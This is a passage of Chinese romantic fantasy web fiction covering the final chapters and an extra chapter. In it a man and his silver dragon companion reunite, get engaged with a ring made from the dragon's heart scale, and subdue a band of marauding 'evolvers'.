宛若流淌黄金般的龙瞳，锁住了那道人类的身影。 祈长夜伸手，微风绕过指间，银白小龙已腾空而起。 ——和之前几次破壳不一样的是，这一次正常破壳的祈霁，不仅诞生就是完全的体态，还拥有了完整的能力。 银白小龙欢快地乘着微风，围着祈长夜转了几圈，又扑到他的胸口，爬来爬去，一对软软的龙角不停地蹭蹭他。 “哥哥！” 熟悉的少年声音，依然轻灵而欢悦。 祈长夜眼尾弯起，抱住他的小龙。 “欢迎回来。” 小祈霁昂起脑袋，那双灿金色的龙瞳，静静地映出年轻男子的眉眼。 不知为什么，片刻后，龙瞳微微耷拉了下来。 “哥哥总是丢下我。” 少年的声音低低的，有点委屈。 “哥哥又丢下了我一次。” 祈长夜垂下眼睫。 银白小龙蔫蔫地趴在他的胸口，有点难过，但，那四只软软的小爪子依然紧紧抱着他的手指，不肯撒开。 他知道，祈霁在意的是什么。 如果时光重来，他可能依然会做出同样的选择，只是会想尽办法，不让他的小龙替他投入深渊。 但现在……时间已经开始向前。 他们都不会再重蹈覆辙。 “对不起。” 祈长夜低头，额头轻轻抵上小龙。 “我向你保证，从今以后，都不会了。” 深渊已经彻底消失。 这世间，没有什么能让他们再次分开。 祈霁一言不发。 深渊之前，他的人类转身离开，抛下他，投入黑潮的那一幕，依然无法从银龙心间抹去。 一次，两次。 每一次，哥哥都没有选择他。 银白小龙慢慢地把脑袋埋进了祈长夜的衣服里，蜷缩成一小团。 他能感受到这个人的体温，还有他的心跳，温柔的抚摸，和好闻的气息。 此刻，哥哥依然好好的，陪在他身边。 就像百年前，哥哥也陪着还是幼龙的他，庇护了他很久很久。 ——他们的四次相遇，每一轮记忆都完全复苏在祈霁脑海中，过往的一幕幕，清晰如昨日重现。 祈霁想起了自己初次诞生，第一眼望见的就是这个人。 他将自己从孤寂的山林间抱起，为他遮挡风雨，耐心地等待着他的成长，等了很多很多年。 每一次，他的破壳，哥哥都在他身边。 就算后面离开，也不是出自哥哥本意。 ……好吧。 他是哥哥最喜欢的小龙。 所以，他才不会和哥哥生气。 很快自己哄好了自己的银龙，再次仰起脑袋。 祈长夜就看着这只小祈霁很气势汹汹地在他身上爬来爬去，好像霸占了一块新领地。 抬起软软的小爪子，按住他的胸膛。 “不准哥哥再离开我的视线！” “要是哪天，我看不到哥哥，我就——” 银白小龙停顿一下。 “就吃掉所有人！” 凶巴巴的话语，得到了温柔的回应：“好。” 祈长夜捧起这只小龙，低头，在它头顶落下一个轻柔的吻。 “……” 小祈霁不吭声了。 蜷缩起来，几秒后，变成了粉粉的一小只。 悄咪咪地揪揪祈长夜衣角，摇晃摇晃。 还想要。 祈长夜看看眼巴巴的小龙，又亲了它一口。 “！” 银白小龙的尾巴飞快甩来甩去，四只小爪子撒欢地乱跑，乘着风嗖嗖飘来飘去。 蹿过来蹿过去，像只漏气的小气球。 最后，小祈霁又扑到了祈长夜身上，趴在他胸口，睁着圆溜溜的龙瞳，一眨不眨地看着他。 好像能看很久很久，直到天荒地老。 祈长夜抬手，小祈霁的爪子落在他的掌心，被他轻轻握住，晃一晃。 “欢迎回家。” 芙洛城的家里多了一只小龙，仿佛又回到最开始，他从深渊里走出，望见第一缕淡薄的天光。 很快，祈长夜就发现，这一次他的小龙并不算是真正意义上的重新诞生——而是复苏。 破壳后没几天，祈霁就从一点点大的银白小龙长成了一米多的银白大龙，可以天天追着他的衣角跑来跑去。 又过几个月，祈长夜从床上睁眼时，旁边已经躺了一只银发金瞳的少年。 “……” 他默默偏过脸，对上一双笑吟吟的金色眼眸。 “怎么长这么快。” 祈长夜伸手，想要揉揉少年的脸，被祈霁主动捧住了右手，轻轻摁在自己脸侧，一下下磨蹭。 “哥哥不喜欢嘛？” 祈长夜：“喜欢。” 祈霁眼中的笑意加深，往他身边蹭蹭。 “因为，我想快点站在哥哥身边。” “我知道，这一次，哥哥不会离开我了。” 一双手臂从祈长夜腰间穿过，祈长夜一动不动，任由少年抬手，紧紧抱住了自己。 百年前，无论是在山林间的相遇，还是来到深渊满布的人间，他们也经常这么睡在一起。 祈霁埋在他的胸口，过了几秒，抬起一张漂亮的脸，冲他眨巴眨巴眼睛：“哥哥，可以亲一下吗？” 祈长夜无言地看着他。 祈霁又眨巴眨巴眼睛。 祈长夜：“……” 有点可爱。 他慢慢地说：“可以。” 金色的眼睛弯如新月，祈霁凑过来，在他的脸侧亲了一口。 满足了。 开心地蹭蹭哥哥。 祈长夜感觉自己怀里挤进来了一只八爪鱼龙，紧紧地黏着他，还要存在感很强烈地拱来拱去。 他抬手，拍拍少年脑袋，又被祈霁挤进了肩窝，将下颌压在他的肩上。 “哥哥，”祈霁的气息拂落他的耳畔，有些微微的酥痒，“我们回乌城吧。” 祈长夜：“嗯？” “哥哥的家人不是还在那里吗？”祈霁的手指摩挲过他的脊背，悦耳的声调上扬，“我要去见家长的。” 见家长。 这个词汇，在人类的世界有特殊的含义——祈长夜知道，他的小龙也知道。 他说：“好。” 祈霁轻笑出声，金色眼眸像是盈不住满溢的笑意。 再凑近一点，声音甜甜的：“哥哥能不能再给我亲亲？” 祈长夜没有说话。 祈霁凑过来，又在他的脸侧落下一个蜻蜓点水的吻。 更开心了。 祈长夜就看着这只小龙兴高采烈的样子，默默拉过被子，闷住了他。 过了两秒，一条银白小龙从被子缝隙里探出一只小脑袋，露出圆溜溜的龙瞳。 祈长夜默默松开被子。 小祈霁飞快往哥哥怀里一钻，舒舒服服地窝成了一小团，软软地黏着他。 —— 乌城。 第三席的副官站立一旁，发现这已经是第三席大人今天上午第四次整理衣领和袖口了。 不过，也可以理解，毕竟今天有两位非常重要的客人。 很快，那两位客人就到了。 “舅舅。” 一袭修身风衣的祈长夜从外面走来，眉目沉静。 明蓝刚要回应，就又听见一声—— “舅舅。”银发金瞳，个子高挑的少年站在祈长夜身边，和他十指交扣。 明蓝：“……” 明蓝微微挑眉：“我这是多了一个外甥？” 祈霁慢悠悠地转过脸庞，对祈长夜露出一个笑容。 “不是，”祈长夜平静地说，“他是来见家长的。” “我知道，”明蓝面不改色，“毕竟他是你弟弟。” 祈长夜依然平静地说：“也不是。” “就是您想的那样。” 明蓝：“…………” 完结＆番外 第六十一章 哥哥，可以—— 拆开琉璃糖纸, 露出里面包裹的一颗晶莹的糖。 祈长夜安静地注视片刻，送入嘴中。 ……首先弥漫开来的，并不是铁锈般的血腥, 也不是令人反胃的酸涩。 一丝略有些陌生的味道在舌尖扩散, 就像冬日里一缕微暖的日光, 化开霜冷的雪气。 这是他十二岁那年, 第一次尝到的味道。 从队长手里递过来的第一颗糖, 带着阳光的气息，时隔多年，再次照拂在他身上。 “哥哥。” 脚步声渐近, 祈长夜抬眼, 任由那银雪般的银发散落自己衣间。 他对上祈霁笑吟吟的眼睛, 看得出来, 这只小龙心情不错。 “舅舅和你说了什么？” “舅舅说，让我好好照顾你，不要惹你生气。”祈霁勾起他的指尖，摇晃摇晃，“我才不会让哥哥生气。” 微扬的尾音, 好像在说，“我是哥哥最乖的小龙”。 祈长夜揉揉他的脑袋：“嗯，过会就能吃饭了。” 祈霁坐在他身边, 微微凑近他的脸庞：“甜的。” 他盯着祈长夜形状漂亮的薄唇, 过了两秒, 冒出一句：“哥哥，想吃糖。” 祈长夜从衣兜里拿出一颗糖, 剥开，递给他。 祈霁啊呜一口咬住那颗糖, 牙尖抵住糖块，眼眸依然一眨不眨地凝视着哥哥漂亮的唇角。 凑近一点。 再凑近一点。 祈长夜又给他塞了一颗糖：“吃吧。” “……” 祈霁不吭声了。 一声不吭地将手指埋入哥哥指间，与他十指交扣，晃来晃去。 明蓝从走廊绕过来，就见那条银龙坐在他的年轻外甥旁边，笑容飞扬地和他说些什么，一副很会讨人欢心的样子。 窗外飞来一只小鸟，在窗台上蹦跶，他的外甥目光微微偏移，那条银龙眉头一挑，又将下颌压在他肩上，似乎说了什么悄悄话，成功让他的外甥将目光移了回来。 明蓝面上没什么表情，心底却有些忧虑：是不是有点太黏人了。 占有欲也太强了一些。 然而，年轻的黑发男子眉眼淡然，似乎并没有觉得哪里不对劲。 中午的时候，祈长夜和祈霁留在明蓝家中用餐，算是家宴。 “之后，你们有什么打算？”明蓝随口一问。 “去南边看看。” 祈长夜说话间，碗里被祈霁夹了一筷子菜，他顺手夹了块鱼肉，放进祈霁碗里。 “听说那边不太平。” “这倒是，那里有些进化者不太安分。”明蓝淡淡地说，“深渊虽然被解决，但有些进化者仿佛觉得自己可以成为下一个深渊。看来，针对这些人，要制定新的法规了。” 祈霁对这类话题没有兴趣，更不关心那些所谓的进化者——不过，哥哥要做什么，他都会陪着哥哥。 一只只虾剥好了壳，送到祈长夜碗中，鱼肉挑出鱼刺，汤也是恰到好处的温度。 明蓝几次抬眼，望向对面的两人，欲言又止。 一顿午饭用完，当祈长夜带着祈霁告别的时候，明蓝终于出声，表示要单独留祈长夜说几句话。 祈霁看了看哥哥，表情不变，一副非常乖巧的样子：“哥哥，我在外面等你。” “嗯。” 只有两人的玄关，明蓝缓缓开口：“他是龙，你确定要和他在一起吗？” 祈长夜想也不想地说：“他和人没有区别。” “不，我的意思是，龙的寿命，会比人类漫长很多吧。”明蓝说，“到那时，你要怎么办？” 祈长夜安静片刻，说：“我有想过。” “但，我知道——他不会让我离开他，我也不想离开。” 明蓝似乎并不意外这个答案，点了点头：“之前，你告诉我想回乌城，我问你，是什么让你发生了这样的改变。” “那时你和我说，是为了给乌城的那些人‘还礼’，现在我知道了，是因为有人将你拉出了深渊。” 他顿了一顿，又平静地说：“以后，我总有机会坐主桌吧。” 祈长夜无言，对上那双含笑的眼眸，默默地点了下头。 修长的黑衣背影转身离去，走向光下。 明蓝目送那道年轻的背影远去，想起不久前前，当他对那条银龙说出同样的问题时，对方的回答。 “他是我的太阳，是比我心脏还沉甸的珍宝。” “就算时间要将他夺走，我也绝不会放手。” 明蓝默默地想：还真是…… “哥哥。” 晴空如洗，祈长夜抬眼，银发金瞳的少年向他奔来，踩着阳光，卷起柔和而缱绻的风。 两人牵着手，不紧不慢地往家里走。 银白的发丝就和龙尾一样活泼，一下一下扫过他的手腕，微微有些痒，祈长夜偏过头：“这顿饭味道怎么样？” 祈霁想也不想地说：“没有哥哥做的好吃。” 他又飞快补了一句：“哥哥喜欢吗？” 祈长夜：“还好。” “那我下次做给哥哥吃，”祈霁说，“我学东西很快，肯定能做出比他们更好的味道。” 晃晃哥哥的手。 哥哥不要喜欢他们。 喜欢我一个就可以了。 祈长夜眼尾微扬：“好。” 他们沿着街边散步，闲逛了一下午，慢慢回到在乌城的居所。 祈霁说到做到，一进厨房就开始叮叮哐哐，誓要给哥哥做出一顿最好的大餐。 祈长夜靠坐在沙发上，不紧不慢地翻开一页书。 没过一会，某只小龙晃过来：“哥哥，水果。” 没过一会，某只小龙又晃过来：“哥哥，炸好的小鱼干。” 再过一会，某只小龙继续晃过来，这次没吭声了，俯身抱住哥哥，蹭一蹭。 心满意足地继续做饭去了。 祈长夜合上书，走进厨房，对上祈霁亮亮的眼睛：“我能做什么？” 微风搬来一张凳子，放到旁边，祈霁甜滋滋地说：“哥哥坐着就好了。” 闲暇的时间游走而过，他们在乌城短暂停留了几天。 某天清晨，祈长夜刚刚睁眼，脸庞就被柔软的银白发丝拂过，耳畔响起一声低笑。 “哥哥。” 他偏过脸，目光微定。 张扬而俊美的眉眼，成熟挺拔的体格。 跨过少年，祈霁终于再次来到完全体的成年。 那双锋锐的灿金眼眸，眼尾挑起，映出盈然的笑意。 祈长夜定定地看着祈霁，眼眸沉凝，一言不发。 熟悉的成年面庞，却像是许久未见。 上一次，还是在他们的分别。 “哥哥，我不走。” 像是知道他在想什么，祈霁微微低头，一下一下轻蹭他的脸庞。 “我不会离开的。” 祈长夜安静地感受着那份温度，片刻后，轻轻“嗯”了一声。 “我喜欢哥哥。” 祈霁温柔地触碰他的指尖，手指埋入指节，与他十指交扣。 “哥哥喜欢我吗？” 祈长夜没有说话，但，那双墨色氤氲的眼睛，已经告诉了他的银龙答案。 于是祈霁轻笑出声，愉悦的低笑震荡于彼此的胸膛，他低头，如捧起世间最珍贵的宝物，轻轻捧起他的人类脸庞。 “哥哥，我现在是大龙了。” “嗯。” “我要做一些过分的事情了！” “……” “可以——”祈霁的语调悠扬婉转，“亲一下吗？” 祈长夜眼睫微抬：“亲哪里。” 祈霁：“哪里都可以吗？” 祈长夜没有说话，祈霁轻轻抵住他的额角：“过分一点的也可以吗？” 祈长夜依然没有说话。 祈霁眼底的笑意加深。 低头，温热的薄唇，映在祈长夜嘴角。 左边亲一下。 右边亲一下。 非常过分了！ 开心的银龙心满意足，得意洋洋地摇起了尾巴。 祈长夜：“……” 第六十二章 戒指 细长的尾巴轻轻绕过祈长夜的腰, 沿着脊背缓缓摩挲。 不知是不是衣料太轻薄，还是龙尾的温度太烫，反复摩擦过的地方, 微微泛起了炙热。 祈长夜下意识后退些许, 一只手已经拦在了他的腰间。 成年的祈霁, 身量高拔, 宽肩窄腰, 单手就能搂住他的哥哥腰肢。 他轻轻亲吻祈长夜的侧脸，亲昵又温柔。 晨间的阳光，好像都变得有些甜腻, 像是融化的糖块。 祈霁的气息拂落在祈长夜脖颈之间, 龙瞳明亮如燃起的炬火, 紧紧地锁住他的人类。 似乎有些太近了。 祈长夜的表情不变, 脊背几乎完全抵上枕侧，修长手指微微陷入身下柔软的被单间。 忽然，听见他的大龙冒出一句：“哥哥早上想吃什么？” “……” 祈长夜沉默，某只大龙也沉默了下来。 似乎感觉这句话有点生硬，气氛也不太对。 只能眼巴巴地蹭蹭哥哥脸庞, 一眨不眨地看着他——似乎还有什么话想说，却又憋着没说出来。 祈长夜戳戳这只大龙：“都可以。” 祈霁慢吞吞地“哦”了一声。 祈长夜看看他，过了几秒, 又说：“蛋糕吧。” 祈霁眼睛一亮, 甜滋滋地说：“好！” “我去给哥哥做！” 再偷亲一下哥哥的脸。 开开心心地对他伸手。 祈长夜将手放到祈霁掌心, 和他一起下楼，看着他的大龙欢天喜地地在厨房里捣鼓了半天, 还要偷偷地把厨房门关上，不让他进来。 非常神秘的样子。 小半天后, 一小块蛋糕胚被端了上来。 四四方方，似乎并没有什么特殊。 祈长夜不紧不慢地拿起叉子，抬眼，祈霁坐在他身边，一眨不眨地看着他。 祈长夜说：“你先吃？” 祈霁立刻把盘子又往祈长夜面前推推：“哥哥吃，这是给哥哥做的。” 祈长夜不紧不慢地应了一声，在那双金色龙瞳定定的凝视中，将叉子慢慢叉进蛋糕中间。 “好像有东西。” 祈霁不吭声。 一双龙瞳微微竖立，落在桌边的手指也绷紧了几分。 祈长夜于是慢吞吞，慢吞吞地用叉子拨开蛋糕—— 松软的蛋糕胚里，静静地躺着一枚戒指。 银白的戒身，两个名字挨在一起，戒指表面镶嵌一枚银白的宝石。 那并非钻石，却比钻石还要美丽，泛着极为漂亮的细闪，像是神明亲手雕琢的工艺品，世界上任何一颗宝石都无法比得上那璀璨夺目的光泽。 祈长夜好像什么都不知道的样子，露出微微惊讶的表情：“这是——” 他的身边，刚才还什么表情都没有的祈霁已经托着下颌，笑眼弯弯地看着他。 “人类世界里，求婚的话，不都是要用戒指吗？” 金色龙瞳轻眨，祈霁开心地贴近他的人类。 “我没有其他东西，只好把最重要的托付给哥哥了。” 最重要的？ 祈长夜的手指拂过那枚戒指，指尖触碰到上面的银白宝石，细腻微凉的触感，就像拂过银龙的身躯。 他忽然意识到了什么，眼帘一跳：“你——” “哥哥，”祈霁笑着说，“你忘了吗，百年前，哥哥就答应过我的。” “……”祈长夜沉默了一下，抬手落在祈霁发间，轻声说：“很疼吧？” 祈霁偏过头，蹭蹭他的掌心，说：“才不疼呢。” 祈长夜心说，难怪这只小龙最近都没怎么变回原形，掌心朝上：“变回去，我看看。” 祈霁乖乖地看着他。 啪叽一下。 一条银白小龙落在祈长夜掌中，爬来爬去。 啪嗒啪嗒追着尾巴转了一圈，仰起小脑袋，软软地叫了两声，对着哥哥撒娇。 非常可爱的样子。 祈长夜抱起小祈霁，不管这只小龙黏糊糊蹭来蹭去的小动作，手指让它翻转过来，看见小龙的心口间，有一小块爱心形状的空缺。 ……那是小龙最大的鳞片。 现在，这条小龙又变成了一条缺鳞片的小龙。 祈长夜对上小祈霁滴溜溜的金色龙瞳，又是心疼，又是无奈，半晌都没有说话。 他想起百年前，祈霁也曾给他展示过自己的逆鳞。 那时，银龙就表示，逆鳞是龙身上最重要的鳞片，只会送给最重要、最喜欢的人。 百年前，他曾经笑着说，如果这只大龙遇到了那个人，记得告诉他。 话音刚落，银龙气呼呼地看着他，把他缠了好几圈，半天都不肯撒开。 ——后来，他答应祈霁，会收下他的逆鳞。 ……再后来，深渊沉没大地，曾经的承诺，也无法兑现。 而现在—— “哥哥！” 银白小龙飞快转圈圈，轻蹭他的手指，发出嗷呜嗷呜的轻软叫声，又举起那枚戒指。 戴上戒指，就是我的啦！ 祈长夜手指收紧，拢住这条小龙：“你明明知道——” 就算没有戒指，我也会答应你。 银白小龙亲亲他的手指，下一秒，银发金瞳的男人又出现在他面前。 “我知道，哥哥最喜欢我。” 祈霁轻笑着，对祈长夜伸出一只手。 “所以，我也想把我最好的，都给哥哥。” “这是我的心，我都托付给哥哥了。” 祈长夜静静地望着面前的银龙，墨色眼眸如月下的深湖，倒映出那抹灿烂的金色。 那枚戒指，被缓缓推入他的无名指根，纹丝不差，刚好契合。 戒圈内侧，他们的名字紧紧贴着他的指间血管，连接着心脏的位置。 “结婚戒指，都是要一对的。” 祈长夜垂下眼睫，凝视指间戒指闪烁的银白光泽。 “——你的戒指，我来给你。” 祈霁眼中的笑意几乎要满溢而出：“好，我等着哥哥。” 他开心地抱住面前的人，摇晃摇晃，下巴压在祈长夜肩上，心满意足地说：“哥哥之前问过我，是不是有想对你说的话。” 修长而骨节分明的手指轻轻抵住祈长夜指间，缓慢而坚定地纠缠在一起。 “哥哥愿意和我一起，度过之后的生命吗？” 他的声音温柔，带着沉甸甸的分量。 “我的生命会很长，如果哥哥选择和我共享生命，随着时间流逝，也会和这个世界的很多人告别。” “到最后，哥哥可能会看着熟识的人全部离开，世界变得陌生而不同，只有我还站在哥哥身边。” 祈长夜安静地倾听，神情平静：“听起来是很让人难过。” 祈霁眼眸动了动，听见那道清悦而沉静的男声：“但，我不想让你孤单。” 他的小龙，如果孤零零一个人的话，不知道会不会哭出来。 “……” 心脏仿佛多了一份沉而安稳的重量，从悬起的高度下坠，稳稳居于胸膛之中。祈霁拦在祈长夜腰间的手臂收紧，低声说：“我不会孤单的。” 如果，哥哥拒绝了他，想要以人类的身份走完剩下的生命……那么，在哥哥离去之后，他也会追随而去。 上穷碧落下黄泉，他们都会相伴在一起。 祈长夜偏过脸，感受着身边这条大龙的体温：“那，我要怎么做？” 祈霁的眼眸又有星火亮起，贴着他的脸庞亲昵地蹭蹭，目光凝留于他的人类那弧度漂亮的唇边： “可能，我要对哥哥做一些，有点过分的事情。” 低沉悦耳的嗓音微微喑哑，语气听起来又十分乖巧。 祈长夜：过分一点，亲三下吗？ 他说：“可以。” 一条龙尾又悄悄缠上祈长夜的后腰，尾巴尖尖暧昧地扫过，掀起一点衣角。 祈长夜忽然意识到了什么。 ——与此同时，他还意识到，某条大龙，恐怕绝不是“什么都不懂”。 ……遭遇诈骗了。 第六十三章 正文完 星月渐隐, 晨光微晞。 昏暗的房间里，散乱的被褥堆叠在一起，床单被扯出, 大半松松垮垮拖在地上。 一只银白小龙在乱糟糟的床上爬来爬去, 爬来爬去。 非常郁闷的样子, 爬了一会, 仰起小脑袋, 冲旁边的年轻男子嗷呜嗷呜。 年轻男子根本不理它，就当没听见。 银白小龙更郁闷了，啪叽一下, 躺在床上, 露出软软的小肚皮。 扭来扭去, 试图勾引哥哥摸摸它。 祈长夜翻过一页书, 靠在堆叠成一团的被子上，无动于衷。 小祈霁：“……” 小祈霁又委屈，又不开心，想抱住哥哥，但是哥哥又不准他变回去。 于是扒拉着被子爬到哥哥身上, 往他手中的书一扑。 一小只银白小龙霸占在书页中间，软软地摇着小尾巴，仰起脑袋看着祈长夜。 “嗷呜。” 祈长夜依然不为所动。 小龙原地转了一圈, 再次仰起脑袋。 那双圆溜溜的龙瞳水汪汪的, 格外可怜。 祈长夜：“……” 祈长夜面无表情, 铁石心肠，提溜起小龙, 放到床角。 再次翻过一页书。 小祈霁：“……” 银白小龙蔫了，抱住自己的尾巴, 缩成一小团。 几秒后，祈长夜略微抬眼，看见他的小龙蜷缩在床尾，抖啊抖，好像在无声抽泣。 祈长夜：“…………” 他默默地伸手。 银白小龙“嗷”一声，乘风飞起来，欢快地扑到他的怀里。 蹭来蹭去。 非常欢腾，没有一点偷偷抽泣的样子。 祈长夜：“？” 他再次抬手，想要拎起这只小龙。 “哥哥。” 修长手指穿过他的指间，稳稳地与他十指相扣。 银发金瞳的男人出现在他身边，搂住他的腰，另一只手指节屈起，一下一下按揉他的腰脊。 “对不起，我错了。” 非常熟练地道歉，一边道歉，一边委屈巴巴地蹭蹭他：“哥哥不要不理我，我会很难过的。” 祈长夜看着他，墨色眼眸没什么波动，祈霁又凑过去，亲一下他的嘴角，甜滋滋地说：“最喜欢哥哥了。” “下次，我向哥哥保证，绝对不会那样了。” 祈长夜心想：没有一点可信度。 他抬手，拍一下这只大龙脑袋。 祈霁立刻开开心心地按住他的手，压在自己脸侧，又亲昵地抱紧他：“哥哥想吃什么，我去给哥哥做。” 祈长夜：“红烧龙尾巴。” 祈霁默然一秒，“噢”了一声。 乖乖地转身。 祈长夜随手抓住他的衣角，这只大龙又转过来，对他眨眨眼睛。 祈长夜：“待会再炖，我现在不饿。” 祈霁又挪回他身边，语调微扬：“好，那我陪着哥哥。” “哥哥腰酸不酸，要不要我继续按按？” “……” “哥哥不要看书了，看看我，看看我。” “……” “哥哥，今天晚上——” “我还是想吃红烧龙尾。” “……哥哥，这本书挺好看的。” 祈长夜的眼眸微微偏向一边，祈霁的下颌压在他肩上，耷拉着眼角，一副老老实实的样子。 他看了两秒，眼尾微微扬起。 祈霁眼睛一下子点亮了。 “哥哥真好看，”他的下颌磨蹭祈长夜肩膀，黏糊糊地贴近一点，“可以再亲一下吗？” 祈长夜不吭声。 祈霁：哥哥答应了！ 于是，他就开心地捧着哥哥的脸，低头，吻上了那柔软温热的唇。 …… 深渊已经消失数月，曾经割裂大地的深谷，已化为一片平原，从荒芜的大地上长出新芽。 凛冽的风卷过平原，有机械引擎发动的声音呼啸而过。 “救命！有‘流浪者’在袭击我们，请求救援！” 荒原上，一支进化者小队狼狈奔逃。他们身后，一支更加庞大的进化者队伍如狼群追逐猎物，哈哈大笑地围捕而上。 一对年轻的姐弟频频回头，露出恐惧的目光。 “流浪者”，近来恶名昭彰的一个进化者组织，脱离城市，游荡于郊外，专门洗劫甚至杀害路过的其他进化者——这样的组织暂时没有领头，全是一些恶人自发集结，逐渐形成了一小部分规模。 这对姐弟不能理解，为什么都是同类，那些人要袭击他们。但危险已经逼近，求生的本能迫使他们拼命向前——却还是渐渐落在了队伍最后方。 “两个废物，逃命都逃不过别人！” 追逐他们的进化者笑声更加肆意，有人直接发动能力，无数尖锐的晶体瞬间射出，眼看就要贯穿那对姐弟的身躯—— 黑焰燃起，暗色降临，世界沉入寒夜。 所有的能力在一瞬间化解，所有躁动的精神力如同被打入冰川之下，一瞬间镇压。 追逐的进化者惊恐收缩的眼睛里，凛冽寒风掠起漆黑衣摆，勾勒出一道修长身影。 乌黑发丝之下，是一双冰冷锐利的墨色眼眸。 仅仅是在对上那双冷冽眼眸的一瞬间，刚才还肆意大笑的进化者们全都发出了惨叫，捂着眼睛倒在地上，痛苦地翻腾打滚。 从他们的指缝里，渗出鲜红的血。 赶在前面逃命的进化者们没有预料到这个变故，犹豫着停下脚步，那对落在最后的姐弟更是如遭雷劈，化为两座僵硬的泥像。 祈霁的目光随意扫过一边，对祈长夜说：“哥哥，就地埋了？” 他的语调轻淡，却令人无端恐惧战栗。 “送到芙洛城。”祈长夜眼眸没有一丝波动，“等待他们的是公开审判。” 狂风卷起，那些倒地的“流浪者”们连一点声音都没发出，就被卷没于天际。 “第……第十席大人！” 得救的进化者中，终于有人反应过来，认出了祈长夜。 “什么？是第十席大人？！” “谢谢第十席大人！” 一堆感谢声中，那对年轻的姐弟依然愣在原地，久久无法回神。 他们还记得那个人。 ——那已经是很久以前，他们还是刚加入进化者小队的新人，误闯入了更深层的深渊，被困在那里，差点死掉。 当时，就是那个眼眸沉静的年轻男子，穿过寒寂的深渊，出现在他们面前，将他们带出黑暗。 ……然而，那之后，他们并没有感谢这位救命恩人。 因为，那时的他是传闻中危险而杀人如麻的祈队，他们根本避之不及。 而现在，他已经是乌城最尊贵的第十席，是他们甚至不敢抬头仰望的存在。 年轻的弟弟似乎鼓起了一点勇气，抬步想要上前—— 下一秒，他的身躯僵住了。 他对上了一双眼睛。 一双冰冷而森寒，没有一丝情绪的金色眼眸。 仿佛噩梦浮现，青年瞳孔猝缩，脸上血色尽失。 他记得那双眼睛。 那双宛若深渊的金色眼眸，曾在当年，震慑过他。 “……” 直到那两道身影远去，青年才跌坐在地，脊背已经被冷汗打湿。 “他怎么了？” “别理他，他以前是芙洛城的，听说芙洛城的一些人以前可没给第十席什么好脸色。” “不会吧，我看第十席脾气很好啊，刚刚还和我说话呢……” 一群人没有在意失魂落魄的青年，纷纷散去了。 青年慢慢抬起发白的脸庞，望向神情同样难看的姐姐。 “……姐，我当初是不是做错了？” “……” 平原上飘起纷扬的花瓣，骨节分明的手指微屈，摘下一朵小花，递到祈长夜面前。 祈长夜对上那双笑吟吟的眼眸，接过小花。 “哥哥，然后我们去哪里？” 祈长夜：“维络城，那边也有流浪者出没。” “等清理完那一批，南方的区域就安定了，剩下的交给他们。” 他将小花放到随风拂起的银发之间：“那到时，你想去哪里？” “回家，”祈霁说，“我们的订婚仪式还没办！” 祈长夜沉默。 还有这种东西吗？ 不是应该直接—— 祈霁晃晃他的手，眼巴巴地说：“哥哥还没给我名分呢。” “有的，”祈长夜纠正，“在户口本上。” 他们的名字还挨在一起，还是“兄弟”。 祈霁：“……户口本要改了。” 他抱住祈长夜的腰，在他耳边大声叭叭：“回去就改！” 祈长夜失笑，说：“走吧。” 祈霁贴贴他的脸，眨眨眼睛：“哥哥——” “知道了，”祈长夜揉揉这只大龙脑袋，“回去以后，就给你戒指。” 祈霁的眼眸像揉碎了涟漪的金色湖畔，垂首，在祈长夜的指尖落下一个亲昵的吻。 微风缱绻地卷过乌黑发丝，与拂起的银发交缠在一起。两道身影并肩走向前方，落下十指相扣的影子。 天光正亮，归途遥遥。 好在，他们都有闲暇，可以慢慢地走过余路。 大地之上，银龙乘风而起，冲上云霄，穿行于云层之间，载着他的人类，龙尾拨开云层，卷出一颗颗漂亮的小爱心。 ——当然，也可以飞回去。 第64章 番外一 “队长, 又上哪溜达去了？” 叶唯风刚走进屋子里，就有人指着他笑。 “最近一大早就不见你人，是不是背着我们偷偷减肥！” “瞎说什么呢。”叶唯风扫了眼客厅那边, 没什么动静, “快喊安德森过来, 今天多炒几个菜, 做一桌大餐。” “干嘛, 你捡到彩票了，还是忽然良心发现，准备自掏腰包犒劳一下我们？” “今天是小夜的生日。” 那个扎着利落马尾的女子蹭一下站起来了：“……你怎么不早说啊！” “他的档案都被议事厅收走了, 是我去调查了之前那个孤儿院, 从犄角旮旯里翻出来的一页资料, 上面写的日子刚好就是今天。” “你先这样, 再那样……” 叶唯风拉着队友，嘀嘀咕咕地交代了半天。后者连连比了几个“ok”的手势，马尾一甩，小跑出门了。 刚出门没几秒，又返回来, 直挺挺地对叶唯风伸手。 叶唯风：“……” 他磨了下牙，把自己钱包掏了出来，拍到队友手上。 穿过走廊, 阳光透过落地窗, 洒满客厅沙发。 一个发丝乌黑, 眼眸黑沉的少年，略有些沉默地坐在沙发角落, 膝上摊开一本厚厚的书。 他的身形削瘦，肤色却很白, 仿佛长久不见天光，苍白的脸上，乌黑眼眸宛若明净的琉璃。 叶唯风摸了摸下巴：多乖巧一个孩子啊，灰烬那群畜生也真下得去手。 高大的影子停在沙发前，少年慢慢仰起脸，乌黑眼眸倒映出一张灿烂的脸。 “队长。” 叶唯风提起裤脚，蹲在沙发前：“如果，我是说如果，你生日到了的话，想要什么生日礼物？” 少年问：“生日是什么？” 叶唯风：“……”灰烬真是畜生不如啊。 “生日就是庆祝诞生的日子嘛，到了这天，不仅有蛋糕吃，还能收到生日礼物哦。” 少年鸦羽般的眼睫微垂：“诞生也值得庆祝吗。” “当然，每一个人来到这个世界，都是值得庆祝的。”叶唯风笑眯眯地说，“所以小夜，你想要什么礼物，尽管说，家里有的是钱！” 少年的祈长夜再次抬起头。 他看见叶唯风温和的笑容，也看见，几个哥哥姐姐从柜子后面探头，笑嘻嘻地对他挤眉弄眼。 “我想要……以后，我的生日，大家都能在一起。” —— “队长，他们会不会太吵了。” 废墟之上，亚瑟不易察觉地皱起眉头，看向身边一袭白色风衣的年轻男子。 “都大半夜了，还这么闹腾，万一引来了怪物——” 不远处，篝火在废墟间燃起，明耀跳动的火光驱散浓黑的夜色，一群人围着篝火，说说笑笑，吹弹拉唱，兴起时，还有人踩着火星翩翩起舞。 “今天是小晨的生日，随他们吧。” 悦耳的声音带着微微笑意，乌黑长发落在白衣间，那双夜色般的眼眸也像是融化在了篝火的微光里。 “要是有怪物，我挡着。” 亚瑟没有说话，目光不受控制地凝停在那乌发白衣间，忽然有急促的风刮过，卷起噼啪的火星。 从黑沉的夜色里，走出一个银发金瞳，高大而俊美的男人。 亚瑟猝然对上那双毫无情绪的灿金色龙瞳，似乎被那生来即自带的威严震慑，下意识后退一步。 那双龙瞳的主人却并没有在意他，确切的说，男人所注视的，从始至终只有一个人。 “哥哥，我找到了这个！” 